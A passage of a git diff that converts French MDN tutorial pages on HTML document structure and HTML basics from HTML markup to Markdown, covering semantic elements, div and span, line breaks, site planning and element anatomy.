réduire leur utilisation au minimum sinon vous aurez du mal à mettre à jour et à maintenir vos documents.</p> + <form> + <input type="search" name="q" placeholder="Rechercher"> + <input type="submit" value="Lancer !"> + </form> + </nav> + + <!-- Ici nous mettons le contenu de la page --> + <main> + + <!-- Il contient un article --> + <article> + <h2>En-tête d'article</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p> + + <h3>Sous‑section</h3> + <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p> + <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p> + + <h3>Autre sous‑section</h3> + <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p> + <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p> + </article> + + <!-- Le contenu « à côté » peut aussi être intégré dans le contenu + principal --> + <aside> + <h2>En relation</h2> + <ul> + <li><a href="#">Combien j'aime être près des rivages</a></li> + <li><a href="#">Combien j'aime être près de la mer</a></li> + <li><a href="#">Bien que dans le nord de l'Angleterre</a></li> + <li><a href="#">Il n'arrête jamais de pleuvoir</a></li> + <li><a href="#">Eh bien…</a></li> + </ul> + </aside> + + </main> + + <!-- Et voici notre pied de page utilisé sur toutes les pages du site --> + <footer> + <p>©Copyright 2050 par personne. Tous droits reversés.</p> + </footer> + + </body> + </html> + +Prenez le temps voulu pour regarder ce code et le comprendre — les commentaires inclus doivent également vous aider à comprendre. Il n'y a pas grand-chose d'autre à faire dans cet article, car la clé pour comprendre une mise en page de document est d'écrire une bonne structure HTML, puis de la mettre en page avec les CSS. Nous attendrons donc que vous ayez commencé à étudier la mise en page avec les CSS. + +## Plus de détails à propos des éléments de mise en page + +La compréhension détaillée de la signification globale de tous les éléments de la mise en page HTML est importante — vous l'acquerrez au fur et à mesure avec l'expérience dans le développement web. Vous pouvez trouver beaucoup de détails en parcourant la [référence aux éléments HTML](/fr/docs/Web/HTML/Element). Pour l'instant, il convient de bien comprendre les principales définitions : + +- {{HTMLElement('main')}} est relatif au contenu _unique de la page_. N'utilisez `<main>` que une seule fois par page et placez-le directement à l'intérieur de l'élement {{HTMLElement('body')}}. Idéalement, il ne devrait pas être imbriqué dans d'autres éléments. +- {{HTMLElement('article')}} entoure un bloc de contenu en relation constituant en soi une unité de sens pris isolément par rapport au reste de la page (par ex. un unique billet de blog.) +- {{HTMLElement('section')}} ressemble à `<article>`, mais sert plutôt à contenir une partie isolée de la page constituant un élément de fonctionnalité en soi (par ex. une petite carte ou un ensemble d'intitulés d'article ou de résumés). Il est considéré de bonne pratique de commencer chaque section par un [`heading`](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) ; notez également que vous pouvez fractionner un `<article>` en plusieurs `<section>` ou bien des `<section>` en divers `<article>`, selon le contexte. +- {{HTMLElement('aside')}} contient les composantes non directement liées au contenu principal mais pouvant fournir des informations supplémentaires indirectement en relation avec ce dernier (entrées de glossaire, biographie de l'auteur, liens connexes, etc). +- {{HTMLElement('header')}} représente un groupe de contenus introductoires. Enfant de {{HTMLElement('body')}}, il définit l'en-tête général de la page web, mais enfant de {{HTMLElement('article')}} ou {{HTMLElement('section')}} il définit un en‑tête propre à cette section (ne confondez pas [titles et headings](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#ajouter%20un%20titre)). +- {{HTMLElement('nav')}} contient les éléments principaux de navigation pour la page. Les liens secondaires, etc., n'entrent pas dans la navigation. +- {{HTMLElement('footer')}} représente un groupe de contenu de fin pour une page. + +### Enveloppes non‑sémantiques + +Parfois, vous êtes dans la situation où vous ne trouvez pas l'élément sémantique idéal pour regrouper certaines entités ou envelopper certains contenus. D'autres fois, vous souhaitez simplement regrouper un ensemble d'éléments pour en faire une entité unique pour des {{glossary("CSS")}} ou des {{glossary("JavaScript")}}. Pour de tels cas, HTML met à votre disposition les éléments {{HTMLElement("div")}} et {{HTMLElement("span")}}}. Utilisez‑les de préférence avec un attribut {{htmlattrxref('class')}} approprié, en quelque sorte étiquetez‑les pour pouvoir les cibler plus facilement. + +{{HTMLElement("span")}} est un élément en ligne non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur élément de sémantique textuelle pour envelopper votre contenu, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple : + +```html +<p>Le Roi retourna ivre à sa chambre à une heure, la bière ne l'aidant en rien +alors qu'il titubait en travers de la porte <span class="editor-note"> +[Note du rédacteur : Pour cette scène, la lumière doit être faible].</span></p> +``` + +Dans ce cas, la note du rédacteur est simplement supposée fournir une indication supplémentaire pour le metteur en scène de la pièce ; elle n'est pas censée avoir une signification sémantique supplémentaire. Pour les utilisateurs malvoyants, les CSS seraient peut-être utilisés pour distancer légèrement la note du texte principal. + +{{HTMLElement("div")}} est un élément de niveau bloc non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur bloc de sémantique à utiliser, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple, imaginez un widget de panier d'achat que vous pourriez choisir d'afficher à n'importe quel moment sur un site de commerce électronique : + +```html +<div class="panier"> + <h2>Panier d'achat</h2> + <ul> + <li> + <p><a href=""><b>Boucles d'oreilles en argent</b></a>: €99,95.</p> + <img src="../products/3333-0985/thumb.png" alt="Boucles d'oreilles en argent"> + </li> + <li> + ... + </li> + </ul> + <p>Total des achats : €237,89</p> </div> +``` -<h3 id="Sauts_de_ligne_et_traits_horizontaux">Sauts de ligne et traits horizontaux</h3> +Ce n'est pas vraiment un élément `<aside>` et il n'a pas forcément de relation avec l'essentiel du contenu de la page (vous le souhaitez visible de partout). Il ne justifie pas particulièrement l'utilisation d'une `<section>`, car il ne fait pas partie du contenu principal de la page. Donc un `<div>` est bien dans ce cas. Nous avons incorporé un panneau indicateur que les lecteurs d'écran puissent le signaler. -<p>Les éléments {{htmlelement("br")}} et {{htmlelement("hr")}} sont utilisés à l'occasion et il convient de les connaître :</p> +> **Attention :** les `div` sont si pratiques à utiliser qu'on est tenté de les utiliser à l'excès. Comme ils ne portent aucune valeur sémantique, ils encombrent votre code HTML. Prenez soin de ne les utiliser que s'il n'y a pas de meilleure solution sémantique et essayez de réduire leur utilisation au minimum sinon vous aurez du mal à mettre à jour et à maintenir vos documents. -<p><code><br></code> crée un saut de ligne dans un paragraphe ; c'est le seul moyen de forcer une structure rigide quand vous voulez obtenir une suite de lignes courtes fixes, comme dans une adresse postale ou un poème. Par exemple :</p> +### Sauts de ligne et traits horizontaux -<pre class="brush: html"><p>Il y avait une fois une fille nommée Nell<br> -Qui aimait écrire du HTML<br> -Mais ses structures et sémantiques affligeantes<br> -rendaient de ses marquages la lecture inélégante.</p></pre> +Les éléments {{htmlelement("br")}} et {{htmlelement("hr")}} sont utilisés à l'occasion et il convient de les connaître : -<p>Sans éléments <code><br></code>, le paragraphe serait rendu par une seule longue ligne (comme précisé plus haut dans ce cours, <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#whitespace_in_html">HTML ignore la plupart des blancs</a>) ; avec des <br> dans le code, voici le rendu de ce qui précède :</p> +`<br>` crée un saut de ligne dans un paragraphe ; c'est le seul moyen de forcer une structure rigide quand vous voulez obtenir une suite de lignes courtes fixes, comme dans une adresse postale ou un poème. Par exemple : +```html <p>Il y avait une fois une fille nommée Nell<br> - Qui aimait écrire du HTML<br> - Mais ses structures et sémantiques affligeantes<br> - rendaient de ses marquages la lecture inélégante.</p> +Qui aimait écrire du HTML<br> +Mais ses structures et sémantiques affligeantes<br> +rendaient de ses marquages la lecture inélégante.</p> +``` -<p><code>Les éléments <hr></code> créent un trait horizontal dans le document marquant un changement thématique dans le texte (comme un changement de sujet ou de scène). Visuallement, c'est juste un trait horizontal, comme dans cet exemple :</p> +Sans éléments `<br>`, le paragraphe serait rendu par une seule longue ligne (comme précisé plus haut dans ce cours, [HTML ignore la plupart des blancs](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#whitespace_in_html)) ; avec des \<br> dans le code, voici le rendu de ce qui précède : -<h3>Exemple avec hr</h3> +Il y avait une fois une fille nommée Nell +Qui aimait écrire du HTML +Mais ses structures et sémantiques affligeantes +rendaient de ses marquages la lecture inélégante. -<pre><p>Ron était acculé dans un angle par des Netherbeasts en maraude. Effrayé, mais déterminé à protéger ses amis, il a levé sa baguette et s'est préparé à se battre, espérant que son appel de détresse serait entendu.</p> -<hr> -<p>Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.</p></pre> +`Les éléments <hr>` créent un trait horizontal dans le document marquant un changement thématique dans le texte (comme un changement de sujet ou de scène). Visuallement, c'est juste un trait horizontal, comme dans cet exemple : -<p>sera rendu ainsi :</p> -<p>{{EmbedLiveSample("Exemple_avec_hr")}}</p> +### Exemple avec hr -<h2 id="Planification_dun_site_web_simple">Planification d'un site web simple</h2> + <p>Ron était acculé dans un angle par des Netherbeasts en maraude. Effrayé, mais déterminé à protéger ses amis, il a levé sa baguette et s'est préparé à se battre, espérant que son appel de détresse serait entendu.</p> + <hr> + <p>Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.</p> -<p>Une fois planifié le contenu d'une simple page Web, l'étape logique suivante est d'essayer de déterminer le contenu que vous voulez mettre sur le site Web en entier, les pages dont vous avez besoin et la façon dont elles doivent être organisées et les liens les unes vers les autres pour la meilleure expérience utilisateur possible. C'est ce qu'on appelle {{glossary("Information architecture")}} (architecture de l'information). Dans un grand site web complexe, beaucoup de planification peut entrer dans ce processus, mais pour un simple site Web de quelques pages, cela peut être assez simple et amusant !</p> +sera rendu ainsi : -<ol> - <li>Gardez à l'esprit que vous aurez quelques éléments communs à la plupart des pages (sinon à toutes) — comme le menu de navigation et le contenu du pied de page. Si votre site est destiné à une entreprise, par exemple, c'est une bonne idée d'avoir les informations de contact dans le pied de page de chaque page. Notez ce que vous voulez avoir en commun dans chaque page. <img alt="les caractéristiques communes du site de voyage pour aller sur chaque page : titre et logo, contact, copyright, termes et conditions, choix de la langue, politique d'accessibilité." src="fr_commun.png"></li> - <li>Ensuite, dessinez une esquisse de ce à quoi vous voudriez que la structure de chaque page ressemble (elle pourrait ressembler à notre simple site Web ci-dessus.) Notez ce que chaque bloc va être. <img alt="Un diagramme simple d'une structure d'exemple de site, avec un en-tête, une zone de contenu principal, deux barres latérales optionnelles et un pied de page." src="fr-structure.png"></li> - <li>Maintenant, faites un remue-méninges sur tous les autres contenus (qui ne sont pas communs à toutes les pages) que vous voulez avoir sur votre site Web - écrivez une grande liste. <img alt="Une longue liste de toutes les fonctionnalités que nous pourrions mettre sur notre site de voyage, de la recherche, aux offres spéciales et aux informations spécifiques à chaque pays." src="fr-liste.png"></li> - <li>Ensuite, essayez de trier tous ces éléments de contenu par groupes, pour vous donner une idée des parties qui pourraient aller ensemble sur diverses pages. C'est très similaire à une technique appelée {{glossary("Card sorting","Tri de cartes")}}.<img alt="Les articles qui devraient apparaître sur un site de vacances triés en 5 catégories : Recherche, spéciaux, informations spécifiques au pays, résultats de la recherche et choses à acheter." src="fr-tri.png"></li> - <li>Essayez maintenant d'esquisser un plan de site grossier — entourez d'un cercle chaque page de votre site et tracez des flèches pour montrer les flux de travail typiques entre pages. La page d'accueil sera probablement au centre et en lien vers la plupart sinon la totalité des autres ; la plupart des pages d'un petit site devraient être disponibles à partir de la navigation principale, bien qu'il y ait des exceptions. Vous voudrez peut-être aussi ajouter des notes sur la présentation des choses. <img alt="Une carte du site montrant la page d'accueil, la page du pays, les résultats de recherche, la page spéciale, la page de paiement et la page d'achat." src="fr-map.png"></li> -</ol> +{{EmbedLiveSample("Exemple_avec_hr")}} -<h3 id="Apprentissage_actif_créez_la_cartographie_de_votre_propre_site">Apprentissage actif : créez la cartographie de votre propre site</h3> +## Planification d'un site web simple -<p>Essayez d'effectuer l'exercice ci-dessus pour un site web de votre propre création. Sur quel sujet aimeriez-vous faire un site ?</p> +Une fois planifié le contenu d'une simple page Web, l'étape logique suivante est d'essayer de déterminer le contenu que vous voulez mettre sur le site Web en entier, les pages dont vous avez besoin et la façon dont elles doivent être organisées et les liens les unes vers les autres pour la meilleure expérience utilisateur possible. C'est ce qu'on appelle {{glossary("Information architecture")}} (architecture de l'information). Dans un grand site web complexe, beaucoup de planification peut entrer dans ce processus, mais pour un simple site Web de quelques pages, cela peut être assez simple et amusant ! -<div class="note"> -<p><strong>Note :</strong> Enregistrez votre travail quelque part ; vous pourriez en avoir besoin plus tard.</p> -</div> +1. Gardez à l'esprit que vous aurez quelques éléments communs à la plupart des pages (sinon à toutes) — comme le menu de navigation et le contenu du pied de page. Si votre site est destiné à une entreprise, par exemple, c'est une bonne idée d'avoir les informations de contact dans le pied de page de chaque page. Notez ce que vous voulez avoir en commun dans chaque page.  +2. Ensuite, dessinez une esquisse de ce à quoi vous voudriez que la structure de chaque page ressemble (elle pourrait ressembler à notre simple site Web ci-dessus.) Notez ce que chaque bloc va être.  +3. Maintenant, faites un remue-méninges sur tous les autres contenus (qui ne sont pas communs à toutes les pages) que vous voulez avoir sur votre site Web - écrivez une grande liste.  +4. Ensuite, essayez de trier tous ces éléments de contenu par groupes, pour vous donner une idée des parties qui pourraient aller ensemble sur diverses pages. C'est très similaire à une technique appelée {{glossary("Card sorting","Tri de cartes")}}. +5. Essayez maintenant d'esquisser un plan de site grossier — entourez d'un cercle chaque page de votre site et tracez des flèches pour montrer les flux de travail typiques entre pages. La page d'accueil sera probablement au centre et en lien vers la plupart sinon la totalité des autres ; la plupart des pages d'un petit site devraient être disponibles à partir de la navigation principale, bien qu'il y ait des exceptions. Vous voudrez peut-être aussi ajouter des notes sur la présentation des choses.  + +### Apprentissage actif : créez la cartographie de votre propre site + +Essayez d'effectuer l'exercice ci-dessus pour un site web de votre propre création. Sur quel sujet aimeriez-vous faire un site ? + +> **Note :** Enregistrez votre travail quelque part ; vous pourriez en avoir besoin plus tard. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous devriez avoir maintenant une meilleure idée de la façon de structurer une page web ou un site web. Dans le dernier article de ce module, nous étudierons comment déboguer le HTML.</p> +Vous devriez avoir maintenant une meilleure idée de la façon de structurer une page web ou un site web. Dans le dernier article de ce module, nous étudierons comment déboguer le HTML. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTML/Element/Heading_Elements">Using HTML sections and outlines </a>: Guide avancé des éléments de la sémantique et des algorithmes descriptifs du HTML5.</li> -</ul> +- [Using HTML sections and outlines ](/fr/docs/Web/HTML/Element/Heading_Elements): Guide avancé des éléments de la sémantique et des algorithmes descriptifs du HTML5. -<p>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_à_HTML")}}</p> +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_à_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Création d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li>Structure de Site Web et de document</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- [Création d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- Structure de Site Web et de document +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/getting_started/index.md b/files/fr/learn/html/introduction_to_html/getting_started/index.md index dce8e89b0e..8dfa69a48c 100644 --- a/files/fr/learn/html/introduction_to_html/getting_started/index.md +++ b/files/fr/learn/html/introduction_to_html/getting_started/index.md @@ -14,78 +14,89 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/Getting_started original_slug: Apprendre/HTML/Introduction_à_HTML/Getting_started --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}} -<div>{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}}</div> - -<p>Cet article porte sur les fondements du HTML, pour prendre un bon départ — nous définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour exciter votre intérêt.</p> +Cet article porte sur les fondements du HTML, pour prendre un bon départ — nous définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour exciter votre intérêt. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions sur le fonctionnement d'un ordinateur, avoir installé les <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base</a> et savoir <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">gérer les fichiers</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec le langage HTML et acquérir de la pratique en écrivant quelques éléments HTML.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions sur le fonctionnement d'un ordinateur, avoir installé les + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base</a + > + et savoir + <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" + >gérer les fichiers</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec le langage HTML et acquérir de la pratique en + écrivant quelques éléments HTML. + </td> + </tr> + </tbody> </table> -<h2 id="Qu'est_ce_que_le_HTML">Qu'est ce que le HTML ?</h2> +## Qu'est ce que le HTML ? -<p>{{glossary("HTML")}} (<strong>H</strong>yper<strong>T</strong>ext <strong>M</strong>arkup <strong>L</strong>anguage) n'est pas un langage de programmation : c'est un <em>langage de balisage</em> qui sert à indiquer au navigateur comment structurer les pages web visitées. Il peut être aussi compliqué ou aussi simple que le développeur web souhaite qu'il soit. Le HTML se compose d'une série d'{{glossary("Elément", "éléments")}} avec lesquels vous pouvez encadrer, envelopper ou <em>baliser</em> différentes parties du contenu pour les faire apparaître ou agir d'une certaine manière. Des {{glossary("balise", "balises")}} encadrantes peuvent transformer une petite partie de contenu en un lien vers une autre page sur le Web, mettre des mots en italique, etc. Par exemple, prenons la phrase suivante :</p> +{{glossary("HTML")}} (**H**yper**T**ext **M**arkup **L**anguage) n'est pas un langage de programmation : c'est un _langage de balisage_ qui sert à indiquer au navigateur comment structurer les pages web visitées. Il peut être aussi compliqué ou aussi simple que le développeur web souhaite qu'il soit. Le HTML se compose d'une série d'{{glossary("Elément", "éléments")}} avec lesquels vous pouvez encadrer, envelopper ou _baliser_ différentes parties du contenu pour les faire apparaître ou agir d'une certaine manière. Des {{glossary("balise", "balises")}} encadrantes peuvent transformer une petite partie de contenu en un lien vers une autre page sur le Web, mettre des mots en italique, etc. Par exemple, prenons la phrase suivante : -<pre>Mon chat est très grincheux</pre> + Mon chat est très grincheux -<p>Si nous voulons que cette ligne reste en l'état, nous pouvons dire qu'il s'agit d'un paragraphe en l'enveloppant d'un élément paragraphe ({{htmlelement("p")}}) :</p> +Si nous voulons que cette ligne reste en l'état, nous pouvons dire qu'il s'agit d'un paragraphe en l'enveloppant d'un élément paragraphe ({{htmlelement("p")}}) : -<pre class="brush: html"><p>Mon chat est très grincheux</p></pre> +```html +<p>Mon chat est très grincheux</p> +``` -<div class="note"> -<p><strong>Note :</strong> Les éléments en HTML sont insensibles à la casse, c'est-à-dire qu'ils peuvent être écrits en majuscules ou en minuscules. Par exemple, un élément {{htmlelement("title")}}} peut être écrit <title>, <TITLE>, <Title>, <TiTlE>, etc. et il fonctionnera parfaitement. La meilleure pratique, cependant, est d'écrire tous les éléments en minuscules pour des raisons de cohérence, de lisibilité et autres.</p> -</div> +> **Note :** Les éléments en HTML sont insensibles à la casse, c'est-à-dire qu'ils peuvent être écrits en majuscules ou en minuscules. Par exemple, un élément {{htmlelement("title")}}} peut être écrit \<title>, \<TITLE>, \<Title>, \<TiTlE>, etc. et il fonctionnera parfaitement. La meilleure pratique, cependant, est d'écrire tous les éléments en minuscules pour des raisons de cohérence, de lisibilité et autres. -<h2 id="Anatomie_d'un_élément_HTML">Anatomie d'un élément HTML</h2> +## Anatomie d'un élément HTML -<p>Regardons notre élément paragraphe d'un peu plus près :</p> +Regardons notre élément paragraphe d'un peu plus près : -<p><img alt="" src="chat-grincheuxl.png"></p> + -<p>Les principales parties de notre élément sont :</p> +Les principales parties de notre élément sont : -<ol> - <li><strong>La balise ouvrante :</strong> il s'agit du nom de l'élément (dans ce cas, p), encadré par un <strong>chevron ouvrant (<) </strong>et un <strong>chevron fermant (>)</strong>. Elle indique où l'élément commence ou commence à prendre effet — dans ce cas où commence le paragraphe ;</li> - <li><strong>La balise fermante :</strong> c'est la même que la balise ouvrante, sauf qu'elle comprend une <strong>barre oblique (/)</strong> avant le nom de l'élément. Elle indique la fin de l'élément — dans ce cas, la fin du paragraphe. Ne pas inclure une balise de fermeture est une erreur fréquente chez les débutants, et peut amener des résultats étranges ;</li> - <li><strong>Le contenu :</strong> il s'agit du contenu de l'élément. Dans notre cas, c'est simplement du texte ;</li> - <li><strong>L'élément :</strong> l'ensemble balise ouvrante, balise fermante et contenu constituent l'élément.</li> -</ol> +1. **La balise ouvrante :** il s'agit du nom de l'élément (dans ce cas, p), encadré par un **chevron ouvrant (<)** et un **chevron fermant (>)**. Elle indique où l'élément commence ou commence à prendre effet — dans ce cas où commence le paragraphe ; +2. **La balise fermante :** c'est la même que la balise ouvrante, sauf qu'elle comprend une **barre oblique (/)** avant le nom de l'élément. Elle indique la fin de l'élément — dans ce cas, la fin du paragraphe. Ne pas inclure une balise de fermeture est une erreur fréquente chez les débutants, et peut amener des résultats étranges ; +3. **Le contenu :** il s'agit du contenu de l'élément. Dans notre cas, c'est simplement du texte ; +4. **L'élément :** l'ensemble balise ouvrante, balise fermante et contenu constituent l'élément. -<h3 id="Apprentissage_actif_créer_votre_premier_élément_HTML">Apprentissage actif : créer votre premier élément HTML</h3> +### Apprentissage actif : créer votre premier élément HTML -<p>Modifiez la ligne ci-dessous dans la <em>Zone de saisie</em> en la mettant entre les balises<code> <em></code> et <code></em></code> (<code>mettez <em> </code> avant pour <em>ouvrir l'élément</em> et <code></em></code> après pour <em>fermer l'élément</em>) — cette opération doit mettre en relief la ligne en l'écrivant en italiques. Vous devriez constater la mise à jour de la modification directement dans la <em>Zone de rendu</em>.</p> +Modifiez la ligne ci-dessous dans la _Zone de saisie_ en la mettant entre les balises` <em>` et `</em>` (`mettez <em> `avant pour _ouvrir l'élément_ et `</em>` après pour _fermer l'élément_) — cette opération doit mettre en relief la ligne en l'écrivant en italiques. Vous devriez constater la mise à jour de la modification directement dans la _Zone de rendu_. -<p>Si vous faites une erreur, vous pouvez toujours réinitialiser avec le bouton <em>Réinitialiser</em>. Si vous êtes vraiment coincé, appuyez sur le bouton <em>Voir la solution</em> pour la réponse.</p> +Si vous faites une erreur, vous pouvez toujours réinitialiser avec le bouton _Réinitialiser_. Si vous êtes vraiment coincé, appuyez sur le bouton _Voir la solution_ pour la réponse. -<pre class="brush: html hidden"><h2>Zone de rendu</h2> -<div class="output" style="min-height: 50px;"> -</div> +```html hidden +<h2>Zone de rendu</h2> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> -<textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> +<textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> Ceci est mon texte. -</textarea> +</textarea> -<div class="controls"> - <input id="reset" type="button" value="Réinitialiser" /> - <input id="solution" type="button" value="Voir la solution" /> -</div> -</pre> +<div class="controls"> + <input id="reset" type="button" value="Réinitialiser" /> + <input id="solution" type="button" value="Voir la solution" /> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -104,9 +115,10 @@ body { margin: 10px; background: #f5f9fa; } -</pre> +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -136,7 +148,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<em>Ceci est mon texte.</em>'; +var htmlSolution = '<em>Ceci est mon texte.</em>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -182,112 +194,111 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_créer_votre_premier_élément_HTML', 700, 400, "", "","hide-codepen-jsfiddle")}}</p> +{{ EmbedLiveSample('Apprentissage_actif_créer_votre_premier_élément_HTML', 700, 400, "", "","hide-codepen-jsfiddle")}} -<h3 id="Eléments_imbriqués">Eléments imbriqués</h3> +### Eléments imbriqués -<p>Vous pouvez mettre des éléments à l'intérieur d'autres éléments — cela s'appelle l'<strong>imbrication</strong>. Si vous voulez affirmer que votre chat est <strong>très</strong> grincheux, vous pouvez mettre le mot « très » dans l'élément {{htmlelement("strong")}}, pour qu'il soit fortement mis en valeur :</p> +Vous pouvez mettre des éléments à l'intérieur d'autres éléments — cela s'appelle l'**imbrication**. Si vous voulez affirmer que votre chat est **très** grincheux, vous pouvez mettre le mot « très » dans l'élément {{htmlelement("strong")}}, pour qu'il soit fortement mis en valeur : -<pre class="brush: html"><p>Mon chat est <strong>très</strong> grincheux.</p></pre> +```html +<p>Mon chat est <strong>très</strong> grincheux.</p> +``` -<p>Vous devez toutefois vous assurer que vos éléments sont correctement imbriqués : dans l'exemple ci-dessus, nous avons ouvert l'élément <code>p</code> en premier, puis l'élément <code>strong</code>, donc nous devons fermer l'élément <code>strong</code> d'abord, puis l'élément <code>p</code>. Ce qui suit est incorrect :</p> +Vous devez toutefois vous assurer que vos éléments sont correctement imbriqués : dans l'exemple ci-dessus, nous avons ouvert l'élément `p` en premier, puis l'élément `strong`, donc nous devons fermer l'élément `strong` d'abord, puis l'élément `p`. Ce qui suit est incorrect : -<pre class="example-bad brush: html"><p>Mon chat est <strong>très grincheux.</p></strong></pre> +```html example-bad +<p>Mon chat est <strong>très grincheux.</p></strong> +``` -<p>Les éléments doivent être ouverts et fermés correctement afin d'être clairement à l'intérieur ou à l'extérieur l'un de 